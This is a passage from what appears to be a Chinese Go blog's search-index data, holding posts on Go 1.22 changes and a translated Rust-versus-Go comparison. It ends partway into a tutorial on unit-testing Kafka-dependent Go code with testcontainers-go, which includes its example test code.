href=\"https://tonybai.com/2024/03/29/the-issue-in-pkg-level-var-init-order-in-go-1-22\"\u003ehttps://tonybai.com/2024/03/29/the-issue-in-pkg-level-var-init-order-in-go-1-22\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e细心的朋友可能已经注意到，从春节后，我的博客就“停更”了！实际上，这一情况部分是因为工作上的事务繁忙，另一部分则是因为我将工作之外的闲暇时间更多地投入到一本即将于今年中下旬出版的书的撰写了：在之前的积累基础上，我花了两个多月的时间完成了初稿。\u003c/p\u003e","title":"Go 1.22引入的包级变量初始化次序问题"},{"content":"\n本文永久链接 – https://tonybai.com/2024/02/18/some-changes-in-go-1-22\n美国时间2024年2月6日，正当中国人民洋溢在即将迎来龙年春节的喜庆祥和的气氛中时，Eli Bendersky代表Go团队在Go官博发文“Go 1.22 is released!”，正式向世界宣告了Go 1.22版本的发布！\n注：大家可以从Go官网下载Go 1.22的第一个版本go 1.22.0，也可以在Go playground上选择Go 1.22版本在线体验Go 1.22的语法。\n记忆中，这似乎是Eli Bendersky首次代表Go团队撰写Go版本发布的文章，文章短小且言简意赅，会让大家误以为Go 1.22版本没有太多的功能点变更，其实不然。读过我之前写的“Go 1.22新特性前瞻”一文的童鞋都知道Go 1.22中有很多重要且影响深远的值得我们关注的变化。在这篇文章中，我们就再来介绍一下这些变化，供大家参考。\n0. 插播“旧闻”：Go再次进入Top10，并刷新有史以来的最高排名 TIOBE编程语言排行榜发布2024年2月编程语言排名的时间恰逢中国人民的传统佳节春节期间，因此它的这次排名发布“淹没”在了“龙年大吉”的喜庆气氛当中了。年后开工，大家翻看这条“旧闻”时，才发现在这次排名中，Go再一次回到Top10，位列第8名，刷新了Go打榜一来的历史最好位次。\n单看这一次进入top10似乎没有什么，因为2023年4月份，Go也跻身过top10，排名第10。但如果从Go打榜以来的历史曲线来看，如下图：\n我们看到了“翘尾”，我们看到了Go迈过“低谷”后的爬升！这与我在《Go语言第一课专栏》的结课语《和你一起迎接Go的黄金十年》中预判：Go即将迎来自己的黄金十年 愈来愈吻合了！\n不过，我在《2023年Go语言盘点：稳中求新，稳中求变》一文中提到过TIOBE index作为世界最知名的编程语言排行榜，却存在其“不靠谱”的特性，比如这一期排名中，上古时代的编程语言Fortran从去年同期的第24位上升至第11位，仅比PHP落后一位，另一门古老的COBOL语言也从去年同期的第30位上升至第19位，仅仅比大热的Rust语言落后一位。\n因此，对于TIOBE的排名，大家既要了解，也无需过于看重^_^。\n言归正传，我们来说说Go 1.22版本的变化。\n1. 语言变化 Go 1.22对语言语法做了两处变更，一个是Go 1.21版本中的试验特性loopvar在Go 1.22中转正落地；另一个也和for循环有关，那就是for range新增了对整型表达式的支持。两者相比较，还是第一个变化loopvar带来的影响更大一些。为什么呢？因此这是Go语言发展历史上第一次真正的填语义层面的“坑”，而且修改的是一个在Go源码中最常用的控制结构的执行语义，这很大可能会带来break change。Go101教程的作者老貘将之成为Go历史上最大的向后兼容性破坏版本。\n注：Go 1.21版本有一个对panic(nil)的语义修正，但我估计很少会有人写出panic(nil)这样的代码。\n这次语义修改用一句话表达就是：将经典三段式for循环语句以及for range语句中的用短声明形式定义的循环变量从整个循环定义和共享一个，变为每个迭代定义一个。\n这里借用Go官博文章中那个例子再说明一下这个语义变化：\n// go1.22-examples/lang/loopvar/main.go package main import ( \u0026quot;fmt\u0026quot; \u0026quot;time\u0026quot; ) func main() { done := make(chan bool) values := []string{\u0026quot;a\u0026quot;, \u0026quot;b\u0026quot;, \u0026quot;c\u0026quot;} for _, v := range values { go func() { time.Sleep(time.Second) fmt.Println(v) done \u0026lt;- true }() } // wait for all goroutines to complete before exiting for _ = range values { \u0026lt;-done } } 我们用Go 1.22.0版本之前的版本，比如Go 1.21.0，来运行该示例：\n$go run main.go c c c 我们看到：由于v是整个循环中各个迭代共享的一个变量，所以在每个迭代新创建的goroutine中输出的v都是循环结束后v的最终值c。\n如果我们用go 1.22.0来运行上述示例，我们将得到：\n// 输出的值的顺序与goroutine调度有关 $go run main.go b c a 注：关于Go 1.22版本之前的for range的坑，我的极客时间专栏《Go语言第一课》专栏有图文并茂的原理讲解，欢迎订阅阅读。\n那么，loopvar这一语义填“坑”究竟会对你的代码造成怎样的影响呢？在Russ Cox关于loopvar语义变更的设计文档中提到了：只有go.mod中的go version在go 1.22.0及以后的时候才会生效，这是一个渐进式过渡的过程，因此目前无论是开源项目还是商业项目，只要go.mod中的go version还没有更新为大于等于go 1.22.0，那么for循环依然会保留短声明定义的变量的原语义，这样这些项目都不会受到影响。\n不过，如果是直接在脚本中通过go run xxx.go形式运行某个go源码的，且当前工作目录以及父目录下没有go.mod文件的，go 1.22.0会采用新的loopvar语义，这点大家要注意了。\n此外，当你将go.mod中的go version升级到go 1.22.0或更高版本时，也要注意语义变更可能带来的问题。在升级go version之前，可以用Go 1.22版本之前的go vet对项目源码进行一次静态分析，对于go vet提示：“loop variable v captured by func literal”的地方务必注意逐个确认。\n注：Go 1.22版本中的go vet已经移除了在go version \u0026gt;= 1.22.0时，对“loop variable v captured by func literal”情况进行警告的功能。\n关于Go 1.22中for range支持后面接整型表达式的“语法糖”新特性以及函数迭代器的实验特性，这里就不细说了，大家可以看看“Go 1.22新特性前瞻”一文中的说明。\n2. 编译器、运行时与工具链 在编译器、运行时和工具链这些方面，Go 1.22的正式版本与“Go 1.22新特性前瞻”一文中使用的Go 1.22rc1版本几乎没有差异，这里挑主要内容介绍一下，其他一些内容可以参考前瞻一文。\nGo 1.22版本继续在编译上优化PGO(profile-guided optimization)， 基于PGO的构建可以比以前版本实现更高比例的调用去虚拟化(devirtualize)。在Go 1.22中，官⽅给出的PGO带来的性能提升数字是2%~14%，这应该是基于Google内部一些典型的Go程序测算出来的。\n注：如果你对PGO优化还不是很了解，可以看看“深入理解Profile Guided Optimization(PGO)”这篇文章。\nGo 1.22版本编译器现在可以更多运⽤devirtualize和inline。在Go编译器中，devirtualize是一种编译优化技术，旨在消除“虚函数”调用的开销。“虚函数”是指在面向对象编程中，通过基类指针或引用调用的函数。在Go中所谓虚函数调用指的就是通过接口类型变量进行的方法调用。由于是动态调用，基于接口的方法调用需要在运行时进行查找和分派，这可能导致一定的性能损失。\n而Go编译器在进行devirtualize优化时，会尝试根据程序的上下文信息和类型信息，确定方法调用的具体对象实例。如果编译器能够确定调用的具体实例，则会将通过接口的方法调用替换为直接调用具体对象实例的方法，从而消除运行时的开销，使得通过接口类型变量进行方法调用的性能得到优化提升。\nGo 1.22版本中的运行时可以使基于类型的垃圾收集的元数据更接近每个堆对象，从而将Go程序的CPU性能（延迟或吞吐量）提高了1-3%。这一变化还支持通过重复数据删除冗余元数据，进而将大多数Go程序的内存开销减少了大约1%。\n在工具链方面，有三个主要改变这里提一下：\ngo work支持vendor 在Go 1.22版本中，通过go work vendor可以将workspace中的依赖放到vendor⽬录下，同时在构建时，如果workspace下有vendor⽬录，那么默认的构建是go build -mod=vendor，即基于vendor的构建。\ngo mod init不再care其他vendor工具的配置文件 go mod init不再尝试将其他vendor工具（例如Gopkg.lock ）的配置文件导入到go module依赖文件(go.mod)中了，也就是说从Go 1.22版本开始，go module出现之前的那些gopath时代的依赖管理工具正式退出并成为历史了。\n改进go test -cover的输出 对于没有自己的测试文件的包，go test -cover在go 1.22版本之前会输出：\n? mymod/mypack [no test files] 但在Go 1.22版本之后，会报告覆盖率为0.0%：\nmymod/mypack coverage: 0.0% of statements 3. 标准库 这里列举一下标准库值得关注的重大变化，大家可以与前瞻一文相互参考着阅读。\n3.1 math/rand/v2：标准库的第一个v2版本包 Go 1.22中新增了math/rand/v2包，这里之所以将它列为Go 1.22版本标准库的⼀次重要变化，是因为这是标准库第一次为某个包建⽴v2版本，按照Russ Cox的说法，这次math/rand/v2包的创建，算是为标准库中的其他可能的v2包“探探路”，找找落地路径。关于math/rand/v2包相对于原math/rand包的变化有很多，具体可以参考issue 61716中的设计与讨论。\n3.2 增强http.ServeMux表达能力 在Go 1.22版本中，http.ServeMux的表达能力得到了大幅提升，从原先只支持静态路由，到新版本中支持如下一些特性：\n“/index.html”路由将匹配任何主机和方法的路径”/index.html”； “GET /static/”将匹配路径以”/static/”开头的GET请求； “example.com/”可以与任何指向主机为”example.com”的请求匹配； “example.com/{$}”会匹配主机为”example.com”、路径为”/”的请求，即”example.com/”； “/b/{bucket}/o/{objectname…}”匹配第一段为”b”、第三段为”o”的路径。名称”bucket”表示第二段，”objectname”表示路径的其余部分。 并且新版ServeMux在路由匹配性能方面也不输众多开源http路由框架太多，后续建立Go web或api类新项目时，可以考虑首选新版ServeMux来进行路由匹配了，减少对外部的一个依赖。\n关于新版http.ServeMux的具体使用方法，其作者Jonathan Amsterdam（也是log/slog的作者）在官博发表了一篇名为“Routing Enhancements for Go 1.22”的文章，大家可以详细参考。\n关于标准库的其他一些变化，大家可以参考前瞻一文以及更详细的Go 1.22的发布说明文档。\n4. 小结 综上，Go 1.22版本对语言、编译器、工具链、运行时和标准库都有一定程度的改进和创新，遗留代码通过Go 1.22版本的重新编译便可以得到一定程度的性能上的自然提升，这也体现了Go语言在稳中求新、稳中求变的特点。\n不过这里还要提醒各位Go开发者，在升级Go 1.22版本时务必注意潜在的向后兼容性问题，尤其是loopvar语义带来的变化影响。\n本文涉及的源码可以在这里下载。\nGopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/02/18/some-changes-in-go-1-22/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/some-changes-in-go-1-22-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2024/02/18/some-changes-in-go-1-22\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2024/02/18/some-changes-in-go-1-22\"\u003ehttps://tonybai.com/2024/02/18/some-changes-in-go-1-22\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e美国时间2024年2月6日，正当中国人民洋溢在即将迎来龙年春节的喜庆祥和的气氛中时，\u003ca href=\"https://github.com/eliben\"\u003eEli Bendersky\u003c/a\u003e代表Go团队在Go官博发文“\u003ca href=\"https://go.dev/blog/go1.22\"\u003eGo 1.22 is released!\u003c/a\u003e”，正式向世界宣告了Go 1.22版本的发布！\u003c/p\u003e","title":"Go 1.22中值得关注的几个变化"},{"content":"\n本文永久链接 – https://tonybai.com/2024/01/24/rust-vs-go-in-2024\n本文译自《Rust vs Go in 2024》。\n我可以说些什么而不让大家生气吗？\nRust和Go哪个更好？你应该为下一个项目选择哪种语言，为什么？两者在性能、简单性、安全性、功能特性、规模化(scale)和并发性等方面如何比较？它们有什么共同点，又有什么根本区别？让我们通过Rust和Go的友好且公平的比较来找到答案。\n1. Rust和Go都很棒 首先，非常重要的是，Go和Rust都是绝对优秀的编程语言。它们现代、强大、被广泛采用，并提供卓越的性能。\nRust是一种低级静态类型多范式编程语言，专注于安全性和性能 — Gints Dreimanis\n然而：\nGo是一种开源编程语言，可以轻松构建简单、可靠且高效的软件 — golang.org\n在本文中，我将尝试简要概述我认为的哪种场景下Go是理想的选择，以及哪种场景下Rust可能是更好的选择。\n2. 相似之处 两种语言的共同目标是什么？\n2.1 内存安全 从历史来看，软件错误和安全漏洞的最大原因之一是不安全或不正确地访问内存。\nRust和Go以不同的方式处理这个问题，但两者的目标都是比其他语言在管理内存方面更智能、更安全。\n2.2 快速、紧凑的可执行文件 它们都是编译语言，这意味着你的程序将被直接编译为可执行的机器代码，以便你可以将程序部署为单个二进制文件。与Python或Ruby等解释语言相比，这也使得Rust和Go程序拥有极快的执行速度。\n2.3 通用语言 Rust和Go都是功能强大、可扩展的通用编程语言，你可以使用它们来开发各种现代软件。两者都拥有优秀的标准库和蓬勃发展的第三方生态系统，以及强大的商业支持和庞大的用户群。\n2.4 务实的编程风格 虽然Go和Rust都具有与函数式和面向对象编程 (OOP) 相关的功能特性，但它们都是实用语言(pragmatic languages)，旨在以最合适的方式解决问题。\n2.5 适于规模化的开发 Rust和Go都有一些有用的功能特性，使它们适合大规模编程，无论是大型团队，还是大型代码库，或两者兼而有之。\n例如，Rust和Go都使用标准代码格式化工具（Go的gofmt，Rust的rustfmt），这结束了关于括号放置位置的无用争论。\n两者还具有优秀的内置高性能标准构建和依赖管理工具；不再需要与复杂的第三方构建系统搏斗，也不必每隔几年学习一个新系统。\n3. 差异 虽然Rust和Go有很多共同点，但在某些领域，理性的人可能会更喜欢一种语言而不是另一种语言，以满足项目的特定需求。\n3.1 性能 Go和Rust都非常快。然而，Go的设计更有利于快速编译，而Rust则是针对快速执行进行了优化。\nRust的运行时性能也更加一致，因为它不使用垃圾回收机制。另一方面，Go的垃圾回收器减轻了程序员的一些负担，使其更容易专注于解决主要问题，而不是内存管理的细节。\n对于执行速度胜过所有其他考虑因素的领域（例如游戏编程、操作系统内核、Web浏览器组件和实时控制系统），Rust是更好的选择。\n3.2 简单 从设计上来说，Go是一种小型语言：它的语法、关键字和语言结构都非常少。你可以快速学习Go的基础知识并使用该语言提升工作效率。\n这使得Go在时间跨度短的项目中或需要快速引入大量新程序员的团队中具有优势，尤其是在他们相对缺乏经验的情况下。\n3.3 功能特性 另一方面，Rust几乎拥有你能想象到的编程语言的所有功能特性，还有一些你可能无法想象的功能特性。这使得它成为一种强大且富有表现力的语言，可以通过多种不同的方式来完成同一件事。\n如果你是从其他语言过渡到Rust的，你可能可以找到你习惯的大多数功能的Rust等效项。当大型项目需要从C++或Java等传统语言迁移时，这给Rust带来了优势。\n3.4 并发 与大多数语言不同，Go语言的设计内置了对并发编程的支持，例如 goroutine（线程的轻量级版本）和通道（在并发任务之间通信数据的安全有效的方法）。\n这些使得Go成为网络服务器和微服务等大规模并发应用程序的完美选择。\n3.5 安全 Rust经过精心设计，以确保程序员无法做一些他们不想做的不安全的事情，例如覆盖共享变量。编译器要求你明确在程序的不同部分之间共享数据的方式，并且可以检测许多常见的错误和bug。\n因此，所谓的“与借用检查器(borrow checker)战斗”是新Rust程序员的常见抱怨。用安全的Rust代码实现程序通常意味着从根本上重新思考其设计，这可能会令人沮丧，但当可靠性是你的首要任务时，这样做的好处是值得的。\n3.6 规模化(scale) Go旨在让你轻松扩展项目和开发团队。它的极简设计带来了一定的一致性，并且明确定义的标准风格的存在意味着任何Go程序员都可以相对快速地阅读和理解新的代码库。\n当谈到大型软件开发时，清晰胜于聪明。对于大型组织，尤其是许多分布式团队来说，Go是一个不错的选择。其快速构建时间也有利于快速测试和部署。\n4. 权衡取舍 Rust和Go的设计团队做出了一些截然不同的选择，所以让我们看看这些权衡取舍使这两种语言彼此截然不同的一些领域。\n4.1 垃圾回收 一般来说，具有垃圾回收和自动内存管理功能的语言（如Go）可以快速轻松地开发可靠、高效的程序，对于某些人来说这是最重要的。\n但是垃圾回收由于其性能开销和停止世界(Stop-The-World)的暂停，可能会使程序在运行时的行为变得不可预测，有些人发现这种不一致是不可接受的。\n程序员必须明确负责分配和释放每个字节内存的语言（例如Rust）更适合实时或超高性能应用程序。\n4.2 抽象 计算机编程的历史是一个日益复杂的抽象的故事，它让程序员可以解决问题，而不必过多担心底层机器的实际工作方式。\n这使得程序更容易编写并且可能更可移植。但对于许多程序来说，访问硬件以及精确控制程序的执行方式更为重要。\nRust的目标是让程序员“更接近金属”，拥有更多的控制权，而Go抽象了架构细节，让程序员更接近问题。\n4.3 速度 Rust进行了许多设计权衡，以实现最佳的执行速度。相比之下，Go更关心简单性，并且愿意为此牺牲一些（运行时）性能。\n在这一点上你是喜欢Rust还是Go取决于你是愿意花更多的时间等待程序构建，还是等待程序运行。\n4.4 正确性 Go和Rust都旨在帮助你编写正确的程序，但方式不同：例如，Go提供了出色的内置单元测试框架和丰富的标准库，而Rust则专注于利用其借用检查机制(borrow checker)消除运行时错误。\n公平地说，用Go编写给定的程序更容易，但结果可能比Rust版本更容易包含错误。Rust对程序员施加了纪律约束，但Go让程序员选择他们想要对特定项目采取的纪律程度。\n5. 结论 我希望这篇文章能让你相信Rust和Go都值得你认真考虑。你应该拒绝这种错误的困境：你只能学习其中之一。事实上，你了解的语言越多，你作为软件开发人员的价值就越高。\n你学习的每一种新语言都会给你思考问题的新方法，这只能是一件好事。任何软件项目的质量和成功最重要的因素不是语言的选择，而是程序员的技能。\n当使用最适合你的语言时，你变得最熟练，并且你也能享受到最多的编程带给你的乐趣。因此，如果问题是“我应该学习Rust或Go吗？”，唯一正确的答案是“是的”。\n– John Arundel\nGopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/01/24/rust-vs-go-in-2024/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/rust-vs-go-in-2024-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2024/01/24/rust-vs-go-in-2024\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2024/01/24/rust-vs-go-in-2024\"\u003ehttps://tonybai.com/2024/01/24/rust-vs-go-in-2024\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e本文译自\u003ca href=\"https://bitfieldconsulting.com/golang/rust-vs-go\"\u003e《Rust vs Go in 2024》\u003c/a\u003e。\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003e我可以说些什么而不让大家生气吗？\u003c/p\u003e\n\u003cp\u003eRust和Go哪个更好？你应该为下一个项目选择哪种语言，为什么？两者在性能、简单性、安全性、功能特性、规模化(scale)和并发性等方面如何比较？它们有什么共同点，又有什么根本区别？让我们通过Rust和Go的友好且公平的比较来找到答案。\u003c/p\u003e","title":"2024年的Rust与Go[译]"},{"content":"\n本文永久链接 – https://tonybai.com/2024/01/08/go-unit-testing-deps-on-kafka\nKafka是Apache基金会开源的一个分布式事件流处理平台，是Java阵营(最初为Scala)中的一款杀手级应用，其提供的高可靠性、高吞吐量和低延迟的数据传输能力，让其到目前为止依旧是现代企业级应用系统以及云原生应用系统中使用的重要中间件。\n在日常开发Go程序时，我们经常会遇到一些依赖Kafka的代码，如何对这些代码进行测试，尤其是单测是摆在Go开发者前面的一个现实问题！\n有人说用mock，是个路子。但看过我的《单测时尽量用fake object》一文的童鞋估计已经走在了寻找kafka fake object的路上了！Kafka虽好，但身形硕大，不那么灵巧。找到一个合适的fake object不容易。在这篇文章中，我们就来聊聊如何测试那些依赖kafka的代码，再往本质一点说，就是和大家以找找那些合适的kafka fake object。\n1. 寻找fake object的策略 在《单测时尽量用fake object》一文中，我们提到过，如果测试的依赖提供了tiny版本或某些简化版，我们可以直接使用这些版本作为fake object的候选，就像etcd提供了用于测试的自身简化版的实现(embed)那样。\n但Kafka并没有提供tiny版本，我们也只能选择《单测时尽量用fake object》一文提到的另外一个策略，那就是利用容器来充当fake object，这是目前能搞到任意依赖的fake object的最简单路径了。也许以后WASI(WebAssembly System Interface)成熟了，让wasm脱离浏览器并可以在本地系统上飞起，到时候换用wasm也不迟。\n下面我们就按照使用容器的策略来找一找适合的kafka container。\n2. testcontainers-go 我们第一站就来到了testcontainers-go。testcontainers-go是一个Go语言开源项目，专门用于简化创建和清理基于容器的依赖项，常用于Go项目的单元测试、自动化集成或冒烟测试中。通过testcontainers-go提供的易于使用的API，开发人员能够以编程方式定义作为测试的一部分而运行的容器，并在测试完成时清理这些资源。\n注：testcontainers不仅提供Go API，它还覆盖了主流的编程语言，包括：Java、.NET、Python、Node.js、Rust等。\n在几个月之前，testcontainers-go项目还没有提供对Kafka的直接支持，我们需要自己使用testcontainers.GenericContainer来自定义并启动kafka容器。2023年9月，以KRaft模式运行的Kafka容器才被首次引入testcontainers-go项目。\n目前testcontainers-go使用的kafka镜像版本是confluentinc/confluent-local:7.5.0。Confluent是在kafka背后的那家公司，基于kafka提供商业化支持。今年初，Confluent还收购了Immerok，将apache的另外一个明星项目Flink招致麾下。\nconfluent-local并不是一个流行的kafka镜像，它只是一个使用KRaft模式的零配置的、包含Confluent Community RestProxy的Apache Kafka，并且镜像是实验性的，仅应用于本地开发工作流，不应该用在支持生产工作负载。\n生产中最常用的开源kafka镜像是confluentinc/cp-kafka镜像，它是基于开源Kafka项目构建的，但在此基础上添加了一些额外的功能和工具，以提供更丰富的功能和更易于部署和管理的体验。cp-kafka镜像的版本号并非kafka的版本号，其对应关系需要cp-kafka镜像官网查询。\n另外一个开发领域常用的kafka镜像是bitnami的kafka镜像。Bitnami是一个提供各种开源软件的预打包镜像和应用程序栈的公司。Bitnami Kafka镜像是基于开源Kafka项目构建的，是一个可用于快速部署和运行Kafka的Docker镜像。Bitnami Kafka镜像与其内部的Kakfa的版本号保持一致。\n下面我们就来看看如何使用testcontainers-go的kafka来作为依赖kafka的Go单元测试用例的fake object。\n这第一个测试示例改编自testcontainers-go/kafka module的example_test.go：\n// testcontainers/kafka_setup/kafka_test.go package main import ( \u0026quot;context\u0026quot; \u0026quot;fmt\u0026quot; \u0026quot;testing\u0026quot; \u0026quot;github.com/testcontainers/testcontainers-go/modules/kafka\u0026quot; ) func TestKafkaSetup(t *testing.T) { ctx := context.Background() kafkaContainer, err := kafka.RunContainer(ctx, kafka.WithClusterID(\u0026quot;test-cluster\u0026quot;)) if err != nil { panic(err) } // Clean up the container defer func() { if err := kafkaContainer.Terminate(ctx); err != nil { panic(err) } }() state, err := kafkaContainer.State(ctx) if err != nil { panic(err) } if kafkaContainer.ClusterID != \u0026quot;test-cluster\u0026quot; { t.Errorf(\u0026quot;want test-cluster, actual %s\u0026quot;, kafkaContainer.ClusterID) } if state.Running != true { t.Errorf(\u0026quot;want true, actual %t\u0026quot;, state.Running) } brokers, _ := kafkaContainer.Brokers(ctx) fmt.Printf(\u0026quot;%q\\n\u0026quot;, brokers) } 在这个例子中，我们直接调用kafka.RunContainer创建了一个名为test-cluster的kafka实例，如果没有通过WithImage向RunContainer传入自定义镜像，那么默认我们将启动一个confluentinc/confluent-local:7.5.0的容器（注意：随着时间变化，该默认容器镜像的版本也会随之改变）。\n通过RunContainer返回的kafka.KafkaContainer我们可以获取到关于kafka容器的各种信息，比如上述代码中的ClusterID、kafka Broker地址信息等。有了这些信息，我们后续便可以与以容器形式启动的kafka建立连接并做数据的写入和读取操作了。\n我们先来看这个测试的运行结果，与预期一致：\n$ go test 2023/12/16 21:45:52 github.com/testcontainers/testcontainers-go - Connected to docker: ... ... Resolved Docker Host: unix:///var/run/docker.sock Resolved Docker Socket Path: /var/run/docker.sock Test SessionID: 19e47867b733f4da4f430d78961771ae3a1cc66c5deca083b4f6359c6d4b2468 Test ProcessID: 41b9ef62-2617-4189-b23a-1bfa4c06dfec 2023/12/16 21:45:52 Creating container for image docker.io/testcontainers/ryuk:0.5.1 2023/12/16 21:45:53 Container created: 8f2240042c27 2023/12/16 21:45:53 Starting container: 8f2240042c27 2023/12/16 21:45:53 Container started: 8f2240042c27 2023/12/16 21:45:53 Waiting for container id 8f2240042c27 image: docker.io/testcontainers/ryuk:0.5.1. Waiting for: \u0026amp;{Port:8080/tcp timeout:\u0026lt;nil\u0026gt; PollInterval:100ms} 2023/12/16 21:45:53 Creating container for image confluentinc/confluent-local:7.5.0 2023/12/16 21:45:53 Container created: a39a495aed0b 2023/12/16 21:45:53 Starting container: a39a495aed0b 2023/12/16 21:45:53 Container started: a39a495aed0b [\u0026quot;localhost:1037\u0026quot;] 2023/12/16 21:45:58 Terminating container: a39a495aed0b 2023/12/16 21:45:58 Container terminated: a39a495aed0b PASS ok demo 6.236s 接下来，在上面用例的基础上，我们再来做一个Kafka连接以及数据读写测试：\n// testcontainers/kafka_consumer_and_producer/kafka_test.go package main import ( \u0026quot;bytes\u0026quot; \u0026quot;context\u0026quot; \u0026quot;errors\u0026quot; \u0026quot;net\u0026quot; \u0026quot;strconv\u0026quot; \u0026quot;testing\u0026quot; \u0026quot;time\u0026quot; \u0026quot;github.com/testcontainers/testcontainers-go/modules/kafka\u0026quot; kc \u0026quot;github.com/segmentio/kafka-go\u0026quot; // kafka client ) func createTopics(brokers []string, topics ...string) error { // to create topics when auto.create.topics.enable='false' conn, err := kc.Dial(\u0026quot;tcp\u0026quot;, brokers[0]) if err != nil { return err } defer conn.Close() controller, err := conn.Controller() if err != nil { return err } var controllerConn *kc.Conn controllerConn, err = kc.Dial(\u0026quot;tcp\u0026quot;, net.JoinHostPort(controller.Host, strconv.Itoa(controller.Port))) if err != nil { return err } defer controllerConn.Close() var topicConfigs []kc.TopicConfig for _, topic := range topics { topicConfig := kc.TopicConfig{ Topic: topic, NumPartitions: 1, ReplicationFactor: 1, } topicConfigs = append(topicConfigs, topicConfig) } err = controllerConn.CreateTopics(topicConfigs...) if err != nil { return err } return nil } func newWriter(brokers []string, topic string) *kc.Writer { return \u0026amp;kc.Writer{ Addr: kc.TCP(brokers...), Topic: topic, Balancer: \u0026amp;kc.LeastBytes{}, AllowAutoTopicCreation: true, RequiredAcks: 0, } } func newReader(brokers []string, topic string) *kc.Reader { return kc.NewReader(kc.ReaderConfig{ Brokers: brokers, Topic: topic, GroupID: \u0026quot;test-group\u0026quot;, MaxBytes: 10e6, // 10MB }) } func TestProducerAndConsumer(t *testing.T) { ctx := context.Background() kafkaContainer, err := kafka.RunContainer(ctx, kafka.WithClusterID(\u0026quot;test-cluster\u0026quot;)) if err != nil { t.Fatalf(\u0026quot;want nil, actual %v\\n\u0026quot;, err) } // Clean up the container defer func() { if err := kafkaContainer.Terminate(ctx); err != nil { t.Fatalf(\u0026quot;want nil, actual %v\\n\u0026quot;, err) } }() state, err := kafkaContainer.State(ctx) if err != nil { t.Fatalf(\u0026quot;want nil, actual %v\\n\u0026quot;, err) } if state.Running != true { t.Errorf(\u0026quot;want true, actual %t\u0026quot;, state.Running) } brokers, err := kafkaContainer.Brokers(ctx) if err != nil { t.Fatalf(\u0026quot;want nil, actual %v\\n\u0026quot;, err) } topic := \u0026quot;test-topic\u0026quot; w := newWriter(brokers, topic) defer w.Close() r := newReader(brokers, topic) defer r.Close() err = createTopics(brokers, topic) if err != nil { t.Fatalf(\u0026quot;want nil, actual %v\\n\u0026quot;, err) } time.Sleep(5 * time.Second) messages := []kc.Message{ { Key: []byte(\u0026quot;Key-A\u0026quot;), Value: []byte(\u0026quot;Value-A\u0026quot;), }, { Key: []byte(\u0026quot;Key-B\u0026quot;), Value: []byte(\u0026quot;Value-B\u0026quot;), }, { Key: []byte(\u0026quot;Key-C\u0026quot;), Value: []byte(\u0026quot;Value-C\u0026quot;), }, { Key: []byte(\u0026quot;Key-D\u0026quot;), Value: []byte(\u0026quot;Value-D!\u0026quot;), }, } const retries = 3 for i := 0; i \u0026lt; retries; i++ { ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second) defer cancel() // attempt to create topic prior to publishing the message err = w.WriteMessages(ctx, messages...) if errors.Is(err, kc.LeaderNotAvailable) || errors.Is(err, context.DeadlineExceeded) { time.Sleep(time.Millisecond * 250) continue } if err != nil { t.Fatalf(\u0026quot;want nil, actual %v\\n\u0026quot;, err) } break } var getMessages []kc.Message for i := 0; i \u0026lt; len(messages); i++ { m, err := r.ReadMessage(context.Background()) if err != nil { t.Fatalf(\u0026quot;want nil, actual %v\\n\u0026quot;, err) } getMessages = append(getMessages, m) } for i := 0; i \u0026lt; len(messages); i++ { if !bytes.Equal(getMessages[i].Key, messages[i].Key) { t.Errorf(\u0026quot;want %s, actual %s\\n\u0026quot;, string(messages[i].Key), string(getMessages[i].Key)) } if !bytes.Equal(getMessages[i].Value, messages[i].Value) { t.Errorf(\u0026quot;want %s, actual %s\\n\u0026quot;, string(messages[i].Value), string(getMessages[i].Value)) } } } 